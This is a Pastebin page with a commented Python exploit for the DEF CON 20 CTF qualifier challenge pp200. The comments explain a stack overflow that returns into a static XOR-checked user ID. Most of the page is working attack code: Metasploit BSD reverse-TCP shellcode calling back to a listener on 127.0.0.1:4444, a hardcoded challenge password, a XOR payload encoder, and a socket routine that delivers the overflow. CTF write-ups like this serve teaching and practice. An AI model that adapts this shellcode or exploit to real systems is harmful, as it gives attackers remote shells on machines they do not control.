Pastebin launched a little side project called HostCabi.net, check it out ;-)Don't like ads? PRO users don't see any ads ;-)
Guest

Defcon 20 CTF Quals - PP200 Write up

By: a guest on Jun 4th, 2012  |  syntax: Python  |  size: 2.95 KB  |  hits: 761  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/env python
  2. # exploit by @jgrusko
  3. # You can find a detailed analysis here:
  4. # http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp200-jmjgjxh7rng7hgjyd7hq.html
  5. # I'll just focus my explanation on the way used to avoid relying on a stack address which
  6. # is not always accurate.
  7. # As said in the blog post, the verify_user() takes a dword as parameter and stores it at
  8. # static address 0x0804C58C
  9. # Then each byte of the dword is XORed against each other and compared to the value 0xa6 as in
  10. # the following pseudo code:
  11. # int verify_userid(unsigned int userid)
  12. # {
  13. #    unsigned char *dword = userid;
  14. #    return ((dword[0] ^ dword[1] ^ dword[2] ^ dword[3]) == 0xa6);
  15. # }
  16. # This means that we can use 3 ARBITRARY bytes and use the last one to make the result 0xa6.
  17. # Since this dword is located at a static location we can use it as our return address.
  18. # By supplying the following dword 0x29ecc3a0, the verify_userid() function
  19. # will succeed. When exploiting the stack overflow and returning on 0x0804C58C, we will have
  20. # the 2 following instructions executed:
  21. # ==============
  22. # sub esp, ebp ; 0x29 0xec
  23. # ret ; 0xc3
  24. # ==============
  25. # Since sfp has also been overwritten, ebp now contains an arbitrary value, which in our case
  26. # is 0x214. After ESP is subtracted by 0x214, it will point at the beginning of the shellcode.
  27. # The first dword of the shellcode is actually pointing on a "jmp esp" instruction, jumping
  28. # directly into the shellcode.
  29. # Even if we supply a dword, the shellcode is actually only XORed with the MSB of this
  30. # dword.
  31. # Here's the exploit code:
  32.  
  33. import socket, struct
  34.  
  35. # metasploit bsd/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
  36.  
  37. # If you are trying this on your system, remember the program
  38. # performs a chroot() call thus, if /bin/sh is not present
  39. # inside pp200 home directory you won't get a shell ;)
  40.  
  41. shellcode = (
  42.    "\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0"
  43.    "\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50"
  44.    "\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8"
  45.    "\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  46.    "\x50\x54\x53\x50\xb0\x3b\xcd\x80"
  47. )
  48.  
  49. jmpESP  = struct.pack("<I", 0x0804b56b)
  50. retAddr = struct.pack("<I", 0x0804c58c)
  51.  
  52. # XOR Encode payload with MSB
  53. def xor_payload(payload):
  54.    encoded_payload = ""
  55.    for b in payload:
  56.       encoded_payload += chr(ord(b) ^ 0x29)
  57.    return encoded_payload
  58.  
  59. def exploit():
  60.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  61.    s.connect(("localhost", 8912))
  62.    
  63.    # Send password
  64.    s.send("b74b9d86e6cd3480\n")
  65.    print(s.recv(1024))
  66.    
  67.    # Send userid
  68.    s.send("a0c3ec29\n")
  69.    print(s.recv(1024))
  70.    
  71.    payload  = jmpESP + "\x90" * (0x200 - 4 - len(shellcode)) + shellcode
  72.    payload += "\x0b" + struct.pack("<I", 0x214) + retAddr + "\n"
  73.    
  74.    s.send(xor_payload(payload) + "\n")
  75.    print(s.recv(1024))
  76.    s.close()
  77.  
  78. if __name__ == "__main__":
  79.    exploit()